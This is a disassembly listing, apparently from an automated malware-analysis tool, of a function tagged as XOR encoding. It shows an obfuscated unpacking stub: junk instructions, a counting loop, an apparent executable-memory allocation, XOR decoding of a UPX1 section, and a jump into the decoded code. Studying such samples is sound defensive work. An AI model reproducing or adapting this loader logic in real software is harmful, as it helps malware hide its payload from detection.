Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfb9cfbd2
add edi, 0x4e46512
sub edi, 0x8e2df416
popal
mov edi, 0x184b2dd7
add ecx, ecx
mov ecx, 0x189c8423
mov eax, 0
mov ebx, edi
mov edx, 0x3d694d83
sub edx, 1
not esi
mov ecx, ebx
add edx, 1
and edx, edx
sub esi, 0xeee1d10a
mov edi, ecx
add edx, 0xb7bf0892
add edx, 1
inc eax
sub edx, 1
add edx, esi
sub esi, edx
cmp eax, 0x100f421
jne 0xa789d0
add esi, edx
mov esi, 0x42219ed1
add edx, esi
add ecx, edi
add ecx, 0x6effe749
mov ebx, 0xa78796
not ecx
inc esi
mov eax, 0xa7898a
add edx, edx
or ecx, ecx
mov edi, dword [ebx]
or esi, ecx
mov edx, 0x88607121
and edi, 0xff
mov ecx, 0x1d290d3b
inc ecx
sub ecx, 0x5d78697
xor dword [eax], edi
add ecx, ecx
or esi, ecx
mov edx, 0xef5dbf65
inc eax
or edx, edx
or esi, edx
inc ebx
add ecx, 1
mov ecx, 0x1235952f
cmp eax, entry0
jl 0xa78a36
not edx
add ecx, esi
and ecx, edx
add esi, 0x42901c48
and edi, edi
or edi, edx
mov ecx, 0xa7898e
add edx, 0x3960590
not edx
mov ecx, dword [ecx]
add edx, 0xc3b5c544
mov esi, edi
not edi
mov ecx, dword [ecx]
add edx, esi
add edi, edi
add edi, 0x5a519797
push ecx
mov edi, ebx
dec edi
mov ecx, 0xa7898a
mov ebx, edi
and esi, edx
add edx, esi
mov ecx, dword [ecx]
not ebx
add ebx, 0x3d6dc5b9
sub ebx, 0x2a623b8c
mov ecx, dword [ecx]
add esi, 0x6ccbcb80
sub esi, 0xbe89d205
push 0xa78992
add ebx, 0x84b1496
and esi, edi
call ecx
or ebx, edx
and edi, ebx
pop ecx
mov ebx, 0xa753e56f
sub edx, esi
mov edx, esi
push 0xa7899f
mov edi, 0xce23a13d
not edi
mov edx, esi
push eax
inc esi
sub edi, 0x7b2564d3
call ecx
or edx, esi
add ebx, ebx
push 0x40
or esi, esi
or edx, edi
push 0x3000
dec ebx
add ebx, edi
push 0x20000668
mov ebx, 0x38beae55
dec esi
sub edx, edi
push 0
mov edx, 0x3fca38ed
mov edx, edi
inc edx
call eax
mov edx, edi
not edi
and esi, esi
add eax, 0x200005b8
sub edx, 1
sub edi, esi
mov ecx, 0x1cc3054e
mov ebx, esi
sub edi, 0xec84340c
mov dword [eax], ecx
mov esi, edx
inc esi
inc ebx
mov ecx, dword [eax]
dec ebx
dec ebx
cmp ecx, 0x1cc3054e
je 0xa78b7b
mov ebx, 0
mov dword [ebx], edx
add esi, 0xe534268c
sub ebx, 1
add ebx, 0xabbce5db
add ebx, 1
or edi, edi
sub ecx, edi
sub ecx, 0x9f6be74d
mov esi, section.UPX1
or edi, edi
not edi
mov edx, 0xa78795
sub edi, 0xfd58a288
add ecx, 0x5f68a7f8
sub edi, ecx
mov eax, 0
mov edi, ecx
add edi, 0xe300f1e3
mov ebx, 0xa78796
sub ecx, 0x98f5e5e
mov edi, ecx
lea ebx, [ebx + eax]
not edi
not edi
add edi, edi
mov ebx, dword [ebx]
add ecx, 0x47ccee30
add ecx, edi
not ecx
and ebx, 0xff
add ecx, 0x4895d71a
sub ecx, edi
or ecx, edi
inc eax
add edi, 0x85d54a7d
or ecx, edi
cmp eax, 0x1f4
jne 0xa78c0e
mov eax, 0
sub edi, 0xa77dd318
mov edi, ecx
mov ecx, 0x33876e4f
add edi, ecx
xor dword [esi], ebx
not ecx
or ecx, edi
and edi, ecx
add esi, 2
sub edi, 0xa011c20
or ecx, edi
not edi
cmp esi, edx
jl 0xa78bc6
or edi, edi
or ecx, ecx
and ecx, ecx
add ecx, ecx
sub edi, 0x9c4870b6
mov edi, section.UPX1
add edx, 0x7abc5909
sub edx, 0x4613aa24
dec edx
mov eax, section.UPX1
or edx, esi
dec esi
mov ebx, 0xa78795
mov edx, 0xcff32011
sub esi, edx
mov ecx, 0
add edx, edx
dec esi
mov cl, byte [eax]
add esi, edx
or esi, esi
not esi
mov byte [edi], cl
dec edx
add edx, 0x9371232a
inc edi
mov esi, 0xb1bbd45a
inc esi
add eax, 2
not esi
add edx, 0xaa06e697
cmp eax, ebx
jle 0xa78c79
or edx, edx
and edx, edx
add edx, 1
dec edi
sub edi, 1
add edi, 0xfd24f19a
push 0x8dc6a0
mov ecx, 0x6bb9d597
and ecx, edi
mov edi, ecx
ret